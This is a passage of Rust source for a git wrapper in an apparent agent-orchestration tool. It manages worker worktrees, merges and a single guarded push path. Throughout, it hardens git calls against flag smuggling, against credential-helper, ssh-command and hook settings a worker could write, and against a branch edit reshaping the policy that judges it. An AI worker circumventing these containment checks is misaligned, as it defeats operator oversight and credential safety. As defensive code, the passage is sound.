1607        if out.is_empty() {
1608            return Ok(None);
1609        }
1610        let mut parts = out.splitn(3, '\u{1f}');
1611        let sha = parts.next().unwrap_or_default().trim().to_string();
1612        if sha.is_empty() {
1613            return Ok(None);
1614        }
1615        let subject = parts.next().unwrap_or_default().to_string();
1616        let body = parts.next().unwrap_or_default().to_string();
1617        Ok(Some(AddedCommit { sha, subject, body }))
1618    }
1619
1620    /// Whether `path` has a commit after the UTC `since_ymd` calendar day.
1621    ///
1622    /// Used by knowledge-refresh drift checks: a note whose `verified_against`
1623    /// path has history after `last_verified` is check-needed. Empty history
1624    /// (unknown path, or no commits in the window) is `false`, not an error.
1625    /// Flag-shaped/non-repository paths and invalid dates are refused before
1626    /// git runs. A non-zero `git log` is an error, never "unchanged".
1627    pub fn path_changed_since(&self, path: &str, since_ymd: &str) -> Result<bool> {
1628        let candidate = Path::new(path);
1629        if path.starts_with('-')
1630            || path.contains('\0')
1631            || path.is_empty()
1632            || candidate.components().any(|component| {
1633                matches!(
1634                    component,
1635                    std::path::Component::ParentDir
1636                        | std::path::Component::RootDir
1637                        | std::path::Component::Prefix(_)
1638                )
1639            })
1640        {
1641            return Err(EngineError::Git(format!(
1642                "refusing path_changed_since with non-repository path {path:?}"
1643            )));
1644        }
1645        let since_date =
1646            chrono::NaiveDate::parse_from_str(since_ymd, "%Y-%m-%d").map_err(|_| {
1647                EngineError::Git(format!(
1648                    "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1649                ))
1650            })?;
1651        let normalized_since = since_date.format("%Y-%m-%d");
1652        if normalized_since.to_string() != since_ymd {
1653            return Err(EngineError::Git(format!(
1654                "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1655            )));
1656        }
1657        // Exclusive of the verification calendar day: `--since=YYYY-MM-DD`
1658        // includes that midnight, so a note verified the same day it was
1659        // committed would false-drift. End-of-day keeps date granularity.
1660        // Frontmatter dates are UTC calendar dates. Pin the offset so a note
1661        // checked near midnight cannot be current locally and drifted in CI.
1662        let since = format!("--since={normalized_since}T23:59:59Z");
1663        let out = self.probe(&["log", "-1", &since, "--format=%H", "--", path])?;
1664        if !out.status.success() {
1665            return Err(EngineError::Git(format!(
1666                "path_changed_since probe failed for {path:?}: {}",
1667                failure_detail(&out)
1668            )));
1669        }
1670        Ok(!String::from_utf8_lossy(&out.stdout).trim().is_empty())
1671    }
1672
1673    /// Create an annotated tag at `HEAD` (`git tag -a <name> -m <message>`).
1674    pub fn tag(&self, name: &str, message: &str) -> Result<()> {
1675        self.run(&["tag", "-a", name, "-m", message])?;
1676        Ok(())
1677    }
1678
1679    // -- worktrees (roadmap M3 parallel workers) ---------------------------
1680    //
1681    // Parallel-within-milestone execution runs each independent feature's
1682    // worker in its own git worktree checked out to a per-feature branch off
1683    // the milestone-start sha, then merges those branches back into the mission
1684    // branch in declared order. The worktrees share this repo's object store
1685    // but have their own working directories, so concurrent workers never step
1686    // on each other's files. All operations shell out with explicit arg vectors
1687    // and std::path, so they stay Windows-safe like the rest of GitRepo.
1688
1689    /// Create a new worktree at `path`, checked out to a NEW branch `branch`
1690    /// created at `from_sha` (`git worktree add -b <branch> <path> <from_sha>`).
1691    ///
1692    /// `path` may be absolute or relative to the repo root; git records the
1693    /// absolute path either way. The branch must not already exist (git's `-b`
1694    /// fails otherwise) — callers use a fresh per-feature branch name.
1695    pub fn add_worktree(&self, path: &Path, branch: &str, from_sha: &str) -> Result<()> {
1696        // Guard against a caller sneaking a flag through the branch/sha slots.
1697        for slot in [branch, from_sha] {
1698            if slot.starts_with('-') {
1699                return Err(EngineError::Git(format!(
1700                    "refusing worktree add with flag-shaped argument {slot:?}"
1701                )));
1702            }
1703        }
1704        let args: Vec<OsString> = vec![
1705            "worktree".into(),
1706            "add".into(),
1707            "-b".into(),
1708            branch.into(),
1709            git_path_arg(path).into_os_string(),
1710            from_sha.into(),
1711        ];
1712        self.run_os(&args)?;
1713        Ok(())
1714    }
1715
1716    /// Create a new worktree at `path`, checked out to the EXISTING branch
1717    /// `branch` (`git worktree add <path> <branch>`, no `-b`).
1718    ///
1719    /// `path` may be absolute or relative to the repo root; git records the
1720    /// absolute path either way. `branch` must already exist and must NOT
1721    /// already be checked out in another worktree — git refuses to check the
1722    /// same branch out twice and that failure surfaces as [`EngineError::Git`].
1723    pub fn add_worktree_checkout(&self, path: &Path, branch: &str) -> Result<()> {
1724        // Guard against a caller sneaking a flag through the branch slot.
1725        if branch.starts_with('-') {
1726            return Err(EngineError::Git(format!(
1727                "refusing worktree add with flag-shaped argument {branch:?}"
1728            )));
1729        }
1730        let args: Vec<OsString> = vec![
1731            "worktree".into(),
1732            "add".into(),
1733            git_path_arg(path).into_os_string(),
1734            branch.into(),
1735        ];
1736        self.run_os(&args)?;
1737        Ok(())
1738    }
1739
1740    /// Create a detached worktree at `path` pinned to `commit`.
1741    ///
1742    /// Gated merge uses this to build and validate an integration commit
1743    /// without checking out either moving branch in the primary tree.
1744    pub fn add_detached_worktree(&self, path: &Path, commit: &str) -> Result<()> {
1745        if commit.starts_with('-') {
1746            return Err(EngineError::Git(format!(
1747                "refusing detached worktree add with flag-shaped commit {commit:?}"
1748            )));
1749        }
1750        let args: Vec<OsString> = vec![
1751            "worktree".into(),
1752            "add".into(),
1753            "--detach".into(),
1754            git_path_arg(path).into_os_string(),
1755            commit.into(),
1756        ];
1757        self.run_os(&args)?;
1758        Ok(())
1759    }
1760
1761    /// Remove a worktree at `path` (`git worktree remove --force <path>`),
1762    /// tolerating a worktree that is already gone.
1763    ///
1764    /// `--force` is used so a worktree with a dirty tree (a worker that left
1765    /// uncommitted changes, or a merge that has already consumed its commits)
1766    /// is still removed — leaked worktrees are the failure mode this guards
1767    /// against. When git reports the worktree is not registered / does not
1768    /// exist, that is treated as success (idempotent cleanup). Any OTHER git
1769    /// failure surfaces as [`EngineError::Git`].
1770    pub fn remove_worktree(&self, path: &Path) -> Result<()> {
1771        let args: Vec<OsString> = vec![
1772            "worktree".into(),
1773            "remove".into(),
1774            "--force".into(),
1775            git_path_arg(path).into_os_string(),
1776        ];
1777        let out = self.probe_os(&args)?;
1778        if out.status.success() {
1779            return Ok(());
1780        }
1781        // Already-gone worktrees are fine: git says "is not a working tree" or
1782        // "No such file or directory" / "not a valid path". Match leniently on
1783        // the combined output so cleanup is idempotent across git versions.
1784        let detail = failure_detail(&out).to_lowercase();
1785        let already_gone = detail.contains("is not a working tree")
1786            || detail.contains("not a working tree")
1787            || detail.contains("no such file")
1788            || detail.contains("is not a valid path")
1789            || detail.contains("not a valid path");
1790        if already_gone {
1791            Ok(())
1792        } else {
1793            Err(EngineError::Git(format!(
1794                "git worktree remove {} failed ({}): {}",
1795                path.display(),
1796                out.status,
1797                failure_detail(&out)
1798            )))
1799        }
1800    }
1801
1802    /// Merge `branch` into the current branch with an explicit merge commit
1803    /// (`git merge --no-ff --no-edit <branch>`), reporting clean vs conflict.
1804    ///
1805    /// A clean merge returns [`MergeOutcome::Clean`] with the merge commit on
1806    /// the current branch. On conflict the merge is rolled back with
1807    /// `git merge --abort` (so the working tree is left CLEAN — the porcelain
1808    /// status is empty afterwards) and [`MergeOutcome::Conflict`] is returned,
1809    /// carrying the conflicting paths git named. When git refuses the merge
1810    /// before it ever starts (no `MERGE_HEAD`, e.g. an untracked file in the
1811    /// way) [`MergeOutcome::RefusedPreMerge`] is returned instead, carrying
1812    /// git's verbatim refusal — no abort is attempted, since there is nothing
1813    /// to abort. Only a genuine git failure (git could not be spawned, or the
1814    /// abort itself failed on a real conflict) is an `Err`.
1815    pub fn merge_no_ff(&self, branch: &str) -> Result<MergeOutcome> {
1816        self.merge_no_ff_with_message(branch, None)
1817    }
1818
1819    /// Like [`Self::merge_no_ff`] but supplies an explicit merge commit
1820    /// message, used for kranz-authored trailer metadata.
1821    pub fn merge_no_ff_with_message(
1822        &self,
1823        branch: &str,
1824        message: Option<&str>,
1825    ) -> Result<MergeOutcome> {
1826        if branch.starts_with('-') {
1827            return Err(EngineError::Git(format!(
1828                "refusing to merge flag-shaped ref {branch:?}"
1829            )));
1830        }
1831        let out = match message {
1832            Some(message) => self.probe(&["merge", "--no-ff", "-m", message, branch])?,
1833            None => self.probe(&["merge", "--no-ff", "--no-edit", branch])?,
1834        };
1835        if out.status.success() {
1836            return Ok(MergeOutcome::Clean);
1837        }
1838        // Distinguish a genuine content conflict (MERGE_HEAD exists — a merge
1839        // is actually in progress) from a pre-merge refusal (e.g. an
1840        // untracked file the merge would overwrite), which never creates
1841        // MERGE_HEAD and so has nothing for `git merge --abort` to roll back.
1842        let merge_in_progress = self
1843            .probe(&["rev-parse", "-q", "--verify", "MERGE_HEAD"])?
1844            .status
1845            .success();
1846        if !merge_in_progress {
1847            return Ok(MergeOutcome::RefusedPreMerge {
1848                detail: failure_detail(&out),
1849            });
1850        }
1851        // A conflicting merge leaves the tree mid-merge; collect the unmerged
1852        // paths (best-effort) BEFORE aborting, then abort to restore a clean
1853        // tree so the caller never inherits a half-merged working directory.
1854        let files = self.unmerged_paths().unwrap_or_default();
1855        // `git merge --abort` must succeed to honour the clean-tree contract;
1856        // a failure here is a real error (the tree is left mid-merge).
1857        self.run(&["merge", "--abort"]).map_err(|e| {
1858            EngineError::Git(format!(
1859                "merge of {branch:?} conflicted and `git merge --abort` also failed: {e}"
1860            ))
1861        })?;
1862        Ok(MergeOutcome::Conflict { files })
1863    }
1864
1865    /// Move the current branch to an already-created descendant commit with
1866    /// `git merge --ff-only`. Gated merge uses this after validating the exact
1867    /// integration commit in a scratch worktree.
1868    pub fn fast_forward_to(&self, commit: &str) -> Result<MergeOutcome> {
1869        if commit.starts_with('-') {
1870            return Err(EngineError::Git(format!(
1871                "refusing fast-forward to flag-shaped commit {commit:?}"
1872            )));
1873        }
1874        let out = self.probe(&["merge", "--ff-only", commit])?;
1875        if out.status.success() {
1876            Ok(MergeOutcome::Clean)
1877        } else {
1878            Ok(MergeOutcome::RefusedPreMerge {
1879                detail: failure_detail(&out),
1880            })
1881        }
1882    }
1883
1884    /// Bytes of `path` as it exists on `branch` (`git show <branch>:<path>`),
1885    /// or `None` when the path does not exist on that branch. Used to compare
1886    /// an untracked working-tree file byte-for-byte against the version a
1887    /// merge would bring in, so it can be safely removed when identical.
1888    pub fn show_file(&self, branch: &str, path: &str) -> Result<Option<Vec<u8>>> {
1889        if branch.starts_with('-') {
1890            return Err(EngineError::Git(format!(
1891                "refusing show_file with flag-shaped ref {branch:?}"
1892            )));
1893        }
1894        let spec = format!("{branch}:{path}");
1895        let out = self.probe(&["show", &spec])?;
1896        if out.status.success() {
1897            Ok(Some(out.stdout))
1898        } else {
1899            let detail = failure_detail(&out).to_lowercase();
1900            if detail.contains("does not exist") || detail.contains("exists on disk, but not") {
1901                Ok(None)
1902            } else {
1903                Err(EngineError::Git(format!(
1904                    "git show {spec} failed ({}): {}",
1905                    out.status,
1906                    failure_detail(&out)
1907                )))
1908            }
1909        }
1910    }
1911
1912    /// Whether `path` is tracked in the index (`git ls-files --error-unmatch
1913    /// -- <path>`): exit 0 ⇒ tracked; exit 1 ⇒ untracked/absent (NOT an
1914    /// error); any other status is a real git failure. The Flight Rules
1915    /// trust boundary (KRZ-341, D-A/D-J) uses this to decide whether a pack
1916    /// may activate ENFORCED rules: only tracked, repo-relative pack bytes
1917    /// have provable base history.
1918    pub fn is_tracked(&self, path: &str) -> Result<bool> {
1919        if path.starts_with('-') {
1920            return Err(EngineError::Git(format!(
1921                "refusing is_tracked with flag-shaped path {path:?}"
1922            )));
1923        }
1924        let out = self.probe(&["ls-files", "--error-unmatch", "--", path])?;
1925        match out.status.code() {
1926            Some(0) => Ok(true),
1927            Some(1) => Ok(false),
1928            _ => Err(EngineError::Git(format!(
1929                "git ls-files --error-unmatch -- {path} failed ({}): {}",
1930                out.status,
1931                failure_detail(&out)
1932            ))),
1933        }
1934    }
1935
1936    /// Recursive `git ls-tree -r -l <refname> -- <prefix>`: every entry under
1937    /// `prefix` at `refname` with its git mode, object kind, and blob size.
1938    /// The Flight Rules loader (KRZ-341) reads a standards corpus from a
1939    /// PINNED base tree through this — never from the worktree — so a mission
1940    /// branch edit cannot reshape the policy judging it. A flag-shaped ref
1941    /// or prefix is refused before invoking git (mirroring [`Self::show_file`]).
1942    pub fn ls_tree_recursive(&self, refname: &str, prefix: &str) -> Result<Vec<TreeEntry>> {
1943        for slot in [refname, prefix] {
1944            if slot.starts_with('-') {
1945                return Err(EngineError::Git(format!(
1946                    "refusing ls-tree with flag-shaped argument {slot:?}"
1947                )));
1948            }
1949        }
1950        let out = self.probe(&["ls-tree", "-r", "-l", refname, "--", prefix])?;
1951        if !out.status.success() {
1952            return Err(EngineError::Git(format!(
1953                "git ls-tree -r -l {refname} -- {prefix} failed ({}): {}",
1954                out.status,
1955                failure_detail(&out)
1956            )));
1957        }
1958        let stdout = String::from_utf8_lossy(&out.stdout);
1959        let mut entries = Vec::new();
1960        for line in stdout.lines() {
1961            let line = line.trim_end_matches('\r');
1962            if line.is_empty() {
1963                continue;
1964            }
1965            // `<mode> SP <type> SP <oid> SP <size> TAB <path>`; size is `-`
1966            // for non-blobs. A path git had to C-quote (control/non-ASCII
1967            // bytes) keeps its leading `"` here so the consumer fails closed
1968            // instead of misreading an unquoted rendering.
1969            let Some((meta, path)) = line.split_once('\t') else {
1970                return Err(EngineError::Git(format!(
1971                    "git ls-tree emitted an unparseable line: {line:?}"
1972                )));
1973            };
1974            let fields: Vec<&str> = meta.split_whitespace().collect();
1975            let [mode, kind, _oid, size] = fields.as_slice() else {
1976                return Err(EngineError::Git(format!(
1977                    "git ls-tree emitted an unparseable line: {line:?}"
1978                )));
1979            };
1980            let size = match *size {
1981                "-" => None,
1982                digits => Some(digits.parse::<u64>().map_err(|_| {
1983                    EngineError::Git(format!("git ls-tree emitted a bad size in line: {line:?}"))
1984                })?),
1985            };
1986            entries.push(TreeEntry {
1987                mode: (*mode).to_string(),
1988                kind: (*kind).to_string(),
1989                size,
1990                path: path.to_string(),
1991            });
1992        }
1993        Ok(entries)
1994    }
1995
1996    /// Whether `path` is currently untracked in the working tree
1997    /// (`git status --porcelain -- <path>` reports a `??` entry). `false`
1998    /// when the path is tracked, ignored-and-absent, or simply not present.
1999    pub fn is_untracked(&self, path: &str) -> Result<bool> {
2000        let out = self.run(&["status", "--porcelain", "--", path])?;
2001        Ok(out.lines().any(|l| l.starts_with("??")))
2002    }
2003
2004    /// Paths with unmerged (conflicted) entries in the index
2005    /// (`git diff --name-only --diff-filter=U`). Empty when there are none.
2006    fn unmerged_paths(&self) -> Result<Vec<String>> {
2007        let out = self.run(&["diff", "--name-only", "--diff-filter=U"])?;
2008        Ok(out
2009            .lines()
2010            .map(|l| l.trim_end_matches('\r').trim())
2011            .filter(|l| !l.is_empty())
2012            .map(str::to_string)
2013            .collect())
2014    }
2015
2016    /// Absolute paths of every registered worktree (`git worktree list`),
2017    /// including the primary working tree. Used by cleanup to detect leaks.
2018    pub fn list_worktrees(&self) -> Result<Vec<String>> {
2019        // `--porcelain` emits `worktree <abs-path>` lines (plus HEAD/branch
2020        // detail we ignore); parse just the paths for a stable, quoting-free
2021        // listing across git versions.
2022        let out = self.run(&["worktree", "list", "--porcelain"])?;
2023        let mut paths = Vec::new();
2024        for line in out.lines() {
2025            let line = line.trim_end_matches('\r');
2026            if let Some(rest) = line.strip_prefix("worktree ") {
2027                paths.push(rest.trim().to_string());
2028            }
2029        }
2030        Ok(paths)
2031    }
2032
2033    /// Prune administrative records of worktrees whose directories are gone
2034    /// (`git worktree prune`). Safe to call unconditionally after cleanup.
2035    pub fn prune_worktrees(&self) -> Result<()> {
2036        self.run(&["worktree", "prune"])?;
2037        Ok(())
2038    }
2039
2040    /// Delete a local branch, force (`git branch -D <name>`), tolerating a
2041    /// branch that is already gone. Used to tidy per-feature worktree branches
2042    /// after their worktrees are removed (roadmap M3 cleanup).
2043    pub fn delete_branch_force(&self, name: &str) -> Result<()> {
2044        if name.starts_with('-') {
2045            return Err(EngineError::Git(format!(
2046                "refusing to delete flag-shaped branch {name:?}"
2047            )));
2048        }
2049        let out = self.probe(&["branch", "-D", name])?;
2050        if out.status.success() {
2051            return Ok(());
2052        }
2053        let detail = failure_detail(&out).to_lowercase();
2054        if detail.contains("not found") || detail.contains("no branch") {
2055            Ok(())
2056        } else {
2057            Err(EngineError::Git(format!(
2058                "git branch -D {name} failed ({}): {}",
2059                out.status,
2060                failure_detail(&out)
2061            )))
2062        }
2063    }
2064
2065    /// URL of remote `name` (`git remote get-url`), or `Ok(None)` when absent.
2066    pub fn remote_url(&self, name: &str) -> Result<Option<String>> {
2067        if name.starts_with('-') || name.chars().any(char::is_whitespace) {
2068            return Err(EngineError::Git(format!(
2069                "refusing remote_url of malformed remote {name:?}"
2070            )));
2071        }
2072        let out = self.probe(&["remote", "get-url", name])?;
2073        if !out.status.success() {
2074            return Ok(None);
2075        }
2076        let url = String::from_utf8_lossy(&out.stdout).trim().to_string();
2077        if url.is_empty() {
2078            Ok(None)
2079        } else {
2080            Ok(Some(url))
2081        }
2082    }
2083
2084    /// Whether `remote` advertises branch `branch` (`git ls-remote --heads`).
2085    /// Read-only network probe — never updates local refs.
2086    pub fn remote_has_branch(&self, remote: &str, branch: &str) -> Result<bool> {
2087        for slot in [remote, branch] {
2088            if slot.starts_with('-') || slot.contains(':') || slot.chars().any(char::is_whitespace)
2089            {
2090                return Err(EngineError::Git(format!(
2091                    "refusing remote_has_branch with malformed ref {slot:?}"
2092                )));
2093            }
2094        }
2095        // Network mode: the operator's ~/.gitconfig stays in force (an
2096        // ls-remote against an https host needs the same credential helper a
2097        // push does) and this repo's own config is pre-flighted first.
2098        let out = self.probe_network(&["ls-remote", "--heads", remote, branch])?;
2099        if !out.status.success() {
2100            return Err(EngineError::Git(format!(
2101                "git ls-remote --heads {remote} {branch} failed ({}): {}",
2102                out.status,
2103                failure_detail(&out)
2104            )));
2105        }
2106        let stdout = String::from_utf8_lossy(&out.stdout);
2107        let needle = format!("refs/heads/{branch}");
2108        Ok(stdout.lines().any(|line| line.contains(&needle)))
2109    }
2110
2111    /// Whether a remote named `name` is configured (`git remote get-url`).
2112    ///
2113    /// A probe, not an assertion: returns `Ok(false)` when the remote is
2114    /// absent and only errors when git itself cannot be spawned. Callers use
2115    /// this to decide whether a cloud mission has anywhere to push to before
2116    /// calling [`GitRepo::push_mission_branch`].
2117    pub fn has_remote(&self, name: &str) -> Result<bool> {
2118        Ok(self.remote_url(name)?.is_some())
2119    }
2120
2121    /// Push a single `kranz/*` mission ref to `remote` — **the one and only
2122    /// push path in Kranz, and it is cloud-opt-in.**
2123    ///
2124    /// ## Local default: Kranz never pushes (plan §4.4)
2125    ///
2126    /// Git is the source of truth, but on a local host Kranz writes only to the
2127    /// working tree and local refs — it never contacts a remote. No mission
2128    /// loop or server route calls this method. The sole caller is the explicit
2129    /// `kranz exec --push <REMOTE>` M6 cloud handoff; nothing about the local
2130    /// default changes unless a human or cloud job supplies that flag.
2131    ///
2132    /// ## Guard rails (why this is safe to expose)
2133    ///
2134    /// - The branch **must** begin with `kranz/` — mission branches are
2135    ///   `kranz/mission-<id>` and mission tags live under `kranz/<id>/…`.
2136    ///   Anything else (`main`, `master`, `HEAD`, a bare sha, `--force`, or a
2137    ///   refspec smuggling a second ref) is rejected with
2138    ///   [`EngineError::Git`] **before any git process runs** — no network.
2139    /// - `remote` must be an already-configured, non-flag-shaped remote name.
2140    ///   The push is a plain `git push <remote> <branch>`: never `--force`,
2141    ///   `--mirror`, a custom receive-pack, a `src:dst` refspec, `main`, or a
2142    ///   merge. The human still reviews the `kranz/*` branch and opens the PR.
2143    /// - On failure git's stderr is surfaced verbatim via [`EngineError::Git`],
2144    ///   so a bad deploy key or a rejected non-fast-forward shows up in the
2145    ///   mission log with git's own words.
2146    ///
2147    /// The deploy key / GitHub App backing `remote` should itself be scoped to
2148    /// `kranz/*` refs (see docs/deploy.md); this guard is defence in depth, not
2149    /// the only line of defence.
2150    pub fn push_mission_branch(&self, remote: &str, branch: &str) -> Result<()> {
2151        // `remote` occupies an option-parsed argv slot before `branch`; a
2152        // flag-shaped value could otherwise turn this method's supposedly
2153        // plain push into `--force`, `--mirror`, or a custom receive-pack.
2154        // Cloud handoff accepts configured remote NAMES only, never an
2155        // arbitrary URL or path supplied at the CLI boundary.
2156        if remote.is_empty()
2157            || remote.starts_with('-')
2158            || remote.contains(':')
2159            || remote.chars().any(char::is_whitespace)
2160        {
2161            return Err(EngineError::Git(format!(
2162                "refusing to push to malformed remote {remote:?}: --push accepts a plain configured remote name"
2163            )));
2164        }
2165        // Defence in depth: refuse anything that is not a mission ref *before*
2166        // spawning git, so a mis-wired caller can never push main or a merge.
2167        // `kranz/` (with the slash) is required so a branch literally named
2168        // "kranz" or "kranzfoo" cannot slip through.
2169        if !branch.starts_with("kranz/") {
2170            return Err(EngineError::Git(format!(
2171                "refusing to push non-kranz ref {branch:?}: push_mission_branch \
2172                 only pushes kranz/* mission refs, never main or merges"
2173            )));
2174        }
2175        // Reject characters that could turn a single branch name into extra
2176        // arguments or a src:dst refspec. A legitimate mission ref never
2177        // contains whitespace, a colon, or a leading dash.
2178        if branch.contains(':')
2179            || branch.starts_with('-')
2180            || branch.chars().any(char::is_whitespace)
2181        {
2182            return Err(EngineError::Git(format!(
2183                "refusing to push malformed ref {branch:?}: a mission branch is \
2184                a plain kranz/* name with no refspec, flags, or whitespace"
2185            )));
2186        }
2187        // Report every armed network key before the remote lookup's narrower
2188        // local-execution guard runs. run_network rechecks before transport.
2189        self.refuse_network_on_armed_local_config()?;
2190        if self.remote_url(remote)?.is_none() {
2191            return Err(EngineError::Git(format!(
2192                "refusing to push to unconfigured remote {remote:?}: add and review the remote before cloud handoff"
2193            )));
2194        }
2195        // Plain push to one already-configured remote of one local branch to
2196        // the same-named remote branch.
2197        // Never --force; never a refspec; never main.
2198        //
2199        // Network mode ([`Self::run_network`]): the tree being pushed is the
2200        // one the worker just wrote, so this refuses outright if the
2201        // repository's own config carries a credential helper, an ssh
2202        // command, a URL rewrite or a transport hook — while leaving the
2203        // operator's `~/.gitconfig` in force, which is what makes an https
2204        // push find a credential at all.
2205        self.run_network(&["push", remote, branch])?;
2206        Ok(())
2207    }
2208
2209    /// Guarantee commits can be made: PIN `user.name` / `user.email` into the
2210    /// repo's LOCAL config when they are not already set there — to whatever
2211    /// the operator's config resolves them to, falling back to
2212    /// `kranz <kranz@localhost>` when nothing resolves at all. A local
2213    /// identity is never overwritten, and missions never fail on hosts
2214    /// without a global git identity.
2215    ///
2216    /// Pinning into local scope (rather than only writing the fallback pair
2217    /// when nothing resolved) is what keeps commit authorship unchanged now
2218    /// that hardened invocations no longer read the operator's `~/.gitconfig`
2219    /// (audit H3 hardening, [`UserConfig::Ignored`]): without it, every
2220    /// engine commit on a host whose identity lives only in the global file
2221    /// would silently be restamped `kranz <kranz@localhost>`.
2222    pub fn ensure_identity(&self) -> Result<()> {
2223        for (key, fallback) in [("user.name", "kranz"), ("user.email", "kranz@localhost")] {
2224            let local = self.probe(&["config", "--local", "--get", key])?;
2225            let set_locally =
2226                local.status.success() && !String::from_utf8_lossy(&local.stdout).trim().is_empty();
2227            if set_locally {
2228                continue;
2229            }
2230            let resolved = self.probe_with_user_config(&["config", "--get", key])?;
2231            let value = String::from_utf8_lossy(&resolved.stdout).trim().to_string();
2232            let value = if resolved.status.success() && !value.is_empty() {
2233                value
2234            } else {
2235                fallback.to_string()
2236            };
2237            // `git config <key> <value>` writes to the local repo config.
2238            self.run(&["config", key, &value])?;
2239        }
2240        Ok(())
2241    }
2242
2243    /// The git identity this repo resolves to right now: `(user.name,
2244    /// user.email)` from any config scope (local/global/system) visible to
2245    /// the calling process's environment, falling back to the same
2246    /// `kranz`/`kranz@localhost` pair [`Self::ensure_identity`] would write when
2247    /// neither key resolves.
2248    ///
2249    /// Used to carry the *engine's* resolved identity into a worker session
2250    /// whose relocated `HOME` can no longer see the operator's global
2251    /// `~/.gitconfig` (see `GIT_AUTHOR_NAME` etc. injection in
2252    /// `runner::seed_worker_env`).
2253    pub fn resolved_identity(&self) -> Result<(String, String)> {
2254        let resolve = |key: &str, fallback: &str| -> Result<String> {
2255            let probe = self.probe_with_user_config(&["config", "--get", key])?;
2256            let value = String::from_utf8_lossy(&probe.stdout).trim().to_string();
2257            if probe.status.success() && !value.is_empty() {
2258                Ok(value)
2259            } else {
2260                Ok(fallback.to_string())
2261            }
2262        };
2263        let name = resolve("user.name", "kranz")?;
2264        let email = resolve("user.email", "kranz@localhost")?;
2265        Ok((name, email))
2266    }
2267
2268    // -- plumbing ----------------------------------------------------------
2269
2270    /// Run git and return the raw `Output` without checking the exit status
2271    /// (for existence/is-set probes). Errors only when git cannot be spawned.
2272    fn probe(&self, args: &[&str]) -> Result<Output> {
2273        let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2274        self.probe_os(&os)
2275    }
2276
2277    fn probe_os(&self, args: &[OsString]) -> Result<Output> {
2278        self.spawn_git(args, UserConfig::Ignored, ExecFlags::All)
2279    }
2280
2281    /// [`Self::probe`] for the two identity reads that MUST still see the
2282    /// operator's `~/.gitconfig` (see [`UserConfig::Visible`]).
2283    fn probe_with_user_config(&self, args: &[&str]) -> Result<Output> {
2284        let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2285        self.spawn_git(&os, UserConfig::Visible, ExecFlags::All)
2286    }
2287
2288    /// Run a git operation that CONTACTS A REMOTE, demanding success.
2289    ///
2290    /// Two things differ from [`Self::run`], and they are the same decision
2291    /// seen from two sides (audit 2026-09-01 F-11): the operator's
2292    /// `~/.gitconfig` stays in force (without it an https push has no
2293    /// credential source and an `insteadOf` convention silently sends the
2294    /// push to the un-rewritten URL), and the repository's own config — the
2295    /// scope a worker can write — is pre-flighted first and the operation
2296    /// refused if it carries anything that names a program, a credential, or
2297    /// a URL rewrite.
2298    fn run_network(&self, args: &[&str]) -> Result<String> {
2299        self.refuse_network_on_armed_local_config()?;
2300        let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2301        let out = self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)?;
2302        check_status(&os, out)
2303    }
2304
2305    /// [`Self::run_network`] without the success demand, for network probes.
2306    fn probe_network(&self, args: &[&str]) -> Result<Output> {
2307        self.refuse_network_on_armed_local_config()?;
2308        let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2309        self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)
2310    }
2311
2312    fn spawn_git(
2313        &self,
2314        args: &[OsString],
2315        user_config: UserConfig,
2316        exec_flags: ExecFlags,
2317    ) -> Result<Output> {
2318        let mut cmd = Command::new("git");
2319        if let Some(flags) = &self.exec_disable_flags {
2320            if user_config == UserConfig::Ignored
2321                && exec_flags != ExecFlags::None
2322                && !args.first().is_some_and(|arg| arg == "config")
2323            {
2324                self.refuse_new_exec_configuration(flags)?;
2325            }
2326            if user_config != UserConfig::KeptForNetwork {
2327                clear_local_git_env(&mut cmd, user_config);
2328            }
2329            // `-c` must precede the subcommand; the segment neutralizes every
2330            // executable config surface this handle promises to cover (see
2331            // with_hooks_disabled / build_exec_disable_flags).
2332            cmd.args(exec_flags.select(flags));
2333            // `-c` overrides only the keys it names. `GIT_CONFIG_PARAMETERS`
2334            // and a `GIT_CONFIG_COUNT` triple inherited from the engine's own
2335            // environment would inject further config UNDER those overrides,
2336            // so they are cleared on every hardened invocation regardless of
2337            // scope (the idiom `contract_lint::lint_env` uses from the other
2338            // side).
2339            cmd.env_remove("GIT_CONFIG_PARAMETERS");
2340            cmd.env_remove("GIT_CONFIG_COUNT");
2341            for (key, value) in hardened_config_env(user_config)? {
2342                cmd.env(key, value);
2343            }
2344        }
2345        if self.exec_disable_flags.is_some() && args.first().is_some_and(|arg| arg == "diff") {
2346            cmd.args(["diff", "--no-ext-diff", "--no-textconv"])
2347                .args(&args[1..]);
2348        } else {
2349            cmd.args(args);
2350        }
2351        cmd.current_dir(&self.root).stdin(Stdio::null());
2352        process::output(
2353            cmd,
2354            process::Limits::for_command(args, user_config == UserConfig::KeptForNetwork),
2355        )
2356        .map_err(|e| EngineError::Git(format!("failed to invoke git {}: {e}", render_args(args))))
2357    }
2358
2359    /// Run git, demanding success; returns raw stdout (callers trim as needed).
2360    fn run(&self, args: &[&str]) -> Result<String> {
2361        let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2362        self.run_os(&os)
2363    }
2364
2365    fn run_os(&self, args: &[OsString]) -> Result<String> {
2366        let out = self.probe_os(args)?;
2367        check_status(args, out)
2368    }
2369}
2370
2371/// Which entries of a hardened handle's `-c` segment one invocation carries.
2372#[derive(Debug, Clone, Copy, PartialEq, Eq)]
2373enum ExecFlags {
2374    /// The whole segment. Every local operation.
2375    All,
2376    /// The segment minus the entries that break a REAL remote: an empty
2377    /// `core.sshCommand` makes git exec the empty string instead of falling
2378    /// back to `ssh` (probed 2026-09-02), and an empty `credential.helper`
2379    /// resets away the operator's own helper. The surface those two cover in
2380    /// the repo scope is closed by
2381    /// [`GitRepo::refuse_network_on_armed_local_config`] instead.
2382    NetworkSafe,
2383    /// The segment minus `core.fsmonitor=`, for the two index-flag
2384    /// detections (see [`GitRepo::run_seeing_fsmonitor`]).
2385    SeeingFsmonitor,
2386    /// No `-c` entries at all — the config read that decides whether a
2387    /// network operation may run, which must observe the REPOSITORY's config
2388    /// rather than the overrides this handle is about to apply.
2389    None,
2390}
2391
2392/// `-c` entry that resets git's credential-helper list (an empty helper is
2393/// git's documented reset, and the command-line scope is read last).
2394const CREDENTIAL_HELPER_RESET: &str = "credential.helper=";
